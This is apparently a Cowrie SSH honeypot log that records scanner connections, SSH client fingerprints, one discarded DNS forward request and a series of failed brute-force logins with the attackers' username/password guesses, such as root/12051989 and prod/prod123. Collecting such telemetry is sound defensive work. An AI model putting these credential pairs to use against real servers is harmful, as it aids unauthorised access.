{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:20.123827Z","src_ip":"87.251.64.176","session":"84e400087586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:20.222820Z","src_ip":"87.251.64.176","session":"84e400087586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47400,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5a8b7d7514f","protocol":"ssh","message":"New connection: 89.223.69.22:47400 (159.203.135.109:22) [session: b5a8b7d7514f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:25.853564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:25.860118Z","src_ip":"89.223.69.22","session":"b5a8b7d7514f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:25.983576Z","src_ip":"89.223.69.22","session":"b5a8b7d7514f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051989","message":"login attempt [root/12051989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:26.321309Z","src_ip":"89.223.69.22","session":"b5a8b7d7514f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:27.435680Z","src_ip":"89.223.69.22","session":"b5a8b7d7514f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":59910,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef4baae51609","protocol":"ssh","message":"New connection: 200.90.8.86:59910 (10.17.0.5:22) [session: ef4baae51609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:38.007136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:38.011749Z","src_ip":"200.90.8.86","session":"ef4baae51609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:38.109128Z","src_ip":"200.90.8.86","session":"ef4baae51609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Password","message":"login attempt [postgres/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:38.690342Z","src_ip":"200.90.8.86","session":"ef4baae51609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:04:39.786140Z","src_ip":"200.90.8.86","session":"ef4baae51609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":47966,"dst_ip":"159.203.135.109","dst_port":22,"session":"f44d406451d0","protocol":"ssh","message":"New connection: 103.148.100.146:47966 (159.203.135.109:22) [session: f44d406451d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:03.313482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:03.319721Z","src_ip":"103.148.100.146","session":"f44d406451d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:03.583747Z","src_ip":"103.148.100.146","session":"f44d406451d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"223344","message":"login attempt [ubuntu/223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:04.658663Z","src_ip":"103.148.100.146","session":"f44d406451d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:05.928810Z","src_ip":"103.148.100.146","session":"f44d406451d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":41694,"dst_ip":"10.17.0.5","dst_port":22,"session":"03c0bb67cb67","protocol":"ssh","message":"New connection: 5.182.83.231:41694 (10.17.0.5:22) [session: 03c0bb67cb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:36.798613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:36.803096Z","src_ip":"5.182.83.231","session":"03c0bb67cb67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:36.921623Z","src_ip":"5.182.83.231","session":"03c0bb67cb67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Admin@123","message":"login attempt [user/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:37.427116Z","src_ip":"5.182.83.231","session":"03c0bb67cb67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51650,"dst_ip":"159.203.135.109","dst_port":22,"session":"a666069a32f2","protocol":"ssh","message":"New connection: 193.37.70.224:51650 (159.203.135.109:22) [session: a666069a32f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:38.202397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:38.207491Z","src_ip":"193.37.70.224","session":"a666069a32f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:38.298822Z","src_ip":"193.37.70.224","session":"a666069a32f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:38.546911Z","src_ip":"5.182.83.231","session":"03c0bb67cb67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"turkey","message":"login attempt [root/turkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:38.570181Z","src_ip":"193.37.70.224","session":"a666069a32f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":54752,"dst_ip":"159.203.135.109","dst_port":22,"session":"474c604fae47","protocol":"ssh","message":"New connection: 210.90.155.178:54752 (159.203.135.109:22) [session: 474c604fae47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:38.840350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:38.844997Z","src_ip":"210.90.155.178","session":"474c604fae47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:39.041472Z","src_ip":"210.90.155.178","session":"474c604fae47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:39.662091Z","src_ip":"193.37.70.224","session":"a666069a32f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:39.861292Z","src_ip":"210.90.155.178","session":"474c604fae47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:41.061594Z","src_ip":"210.90.155.178","session":"474c604fae47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":49866,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2015b656ba9","protocol":"ssh","message":"New connection: 45.114.124.44:49866 (10.17.0.5:22) [session: b2015b656ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:46.941571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:46.950087Z","src_ip":"45.114.124.44","session":"b2015b656ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:47.158863Z","src_ip":"45.114.124.44","session":"b2015b656ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prod","password":"prod123","message":"login attempt [prod/prod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:48.013046Z","src_ip":"45.114.124.44","session":"b2015b656ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:05:49.229390Z","src_ip":"45.114.124.44","session":"b2015b656ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":24063,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea989dc195d8","protocol":"ssh","message":"New connection: 220.247.224.226:24063 (10.17.0.5:22) [session: ea989dc195d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:04.065620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:04.070621Z","src_ip":"220.247.224.226","session":"ea989dc195d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:04.301998Z","src_ip":"220.247.224.226","session":"ea989dc195d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"penis123","message":"login attempt [root/penis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:05.246413Z","src_ip":"220.247.224.226","session":"ea989dc195d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:06.481614Z","src_ip":"220.247.224.226","session":"ea989dc195d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":40562,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e8fbc52060c","protocol":"ssh","message":"New connection: 200.90.8.86:40562 (10.17.0.5:22) [session: 8e8fbc52060c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:24.093709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:06:24.098333Z","src_ip":"200.90.8.86","session":"8e8fbc52060c","protocol":"ssh"}
